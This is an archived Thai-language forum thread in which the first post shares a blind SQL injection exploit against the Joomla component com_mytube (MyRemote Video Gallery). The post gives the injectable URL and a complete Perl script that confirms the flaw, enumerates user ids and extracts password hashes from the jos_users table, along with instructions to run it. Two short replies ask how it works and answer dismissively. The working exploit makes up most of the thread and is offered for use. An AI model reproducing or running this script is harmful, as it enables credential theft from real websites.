PDA

View Full Version : เจาะ component joomla ชื่อ Mytube : Blind SQL Injection Exploit



rev0lut1on
13-04-2010, 05:17 PM
ชื่อโปรแกรม : MyRemote Video Gallery
version : 1.0 Beta
ผู้สร้าง : Jomtube Team
License : GPL type : Non-Commercial
วันที่ : Aug 24, 2009
ดาวน์โหลด : http://joomlacode.org/gf/download/frsrelea..._2009.08.02.zip (http://citecclub.org/forum/redirector.php?url=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fdownload%2Ffrsrelease%2F10834%2F42943%2Fcom_mytube_1.0.0_2009.08.02.zip)

#I.Blind SQL injection (user_id)
#Poc/Exploit:
#~~~~~~~~~~~
#http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null
#X: Valid User_id

#+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
#+++++++++++++++++++++++++++++++++++++++

บันทึก Code Perl ด้านล่างนี้แล้วแก้ไขให้เรียบร้อยแล้วเซฟเป็น .pl แล้วนำไปรันใน CMD [ควรมีตัว Runtime ก่อน เช่น Active Perl]

[hide=5]

use LWP::UserAgent;
use Benchmark;
my $t1 = new Benchmark;

system ('cls');
print "\n\n";
print "\t\t[+] ---------------------------------[+]\n";
print "\t\t| | Chip d3 Bi0s | |\n";
print "\t\t| MyRemote Video Gallery Bsql | \n";
print "\t\t|joomla component com_mytube (user_id)| \n";
print "\t\t[+]----------------------------------[+]\n\n";


print "http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\n";chomp(my $target=<STDIN>);

$w="Total Videos In Category";
$column_name="concat(password)";
$table_name="jos_users";


$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

print "----------------Inyectando----------------\n";


$host = $target . "+and+1=1&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
if ($content =~ /$regexp/) {

$host = $target . "+and+1=2&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
if ($content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}

else

{print " [-] Vulnerable :)\n";

$d=0;


for ($idusuario=62;$idusuario<=80;$idusuario++)

{

$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$idusuario."+limit+0,1),1,1))>0&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;
if ($content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1}

}

print " [+] Usuario existentes : "." ".join(',', @idusu) . "\n";

print " [-] # Usuario que desea extraer : ";chomp($iduss=<STDIN>);

for ($x=1;$x<=32;$x++)
{

$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))>57&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w;
print " [!] ";if($x <= 9 ) {print "0$x";}else{print $x;}
if ($content =~ /$regexp/)
{

for ($c=97;$c<=102;$c++)

{
$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;


if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=102;}
}


}
else
{

for ($c=48;$c<=57;$c++)

{
$host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
my $res = $b->request(HTTP::Request->new(GET=>$host));
my $content = $res->content;
my $regexp = $w;

if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=57;}
}


}
}

print " [+] Password :"." ".join('', @caracter) . "\n";

my $t2 = new Benchmark;
my $tt = timediff($t2, $t1);
print "El script tomo:",timestr($tt),"\n";

}
}
else
{print " [-] Exploit Fallo :(\n";}

NIGPO
27-07-2010, 02:17 PM
ขอบคุณครับ สำหรับข้อมูลดีๆ พอดีสนใจเรื่องนี้มาก

เเล้วมันจะเจาะ อย่างไร ครับ ผมไม่เข้าใจวิธีการทำงานของ มันเลยอยากถามหน่อยครับ

Skyz
27-07-2010, 03:18 PM
ผมคิดว่าคุณควรมีความรู้พื้นฐานให้แน่นก่อนจะดีมั้ยครับ เห้นถามทุกกระทู้เลย

อธิบาย ๆ ง่าย ๆ ว่าเป็น paper exploit ของ cms MyRemote Video Gallery ซึ่งใช้บัค Sqli

สังเกตได้ว่าใช้ perl ครับ แค่นั้นแหละ

คุณยังดูไม่่ออกเลยว่าอันไหนใช้ทำอะไร ผมคิดว่าคุณควรศึกษาด้วยตัวเองก่อนจะตั้งคำถามนะครับ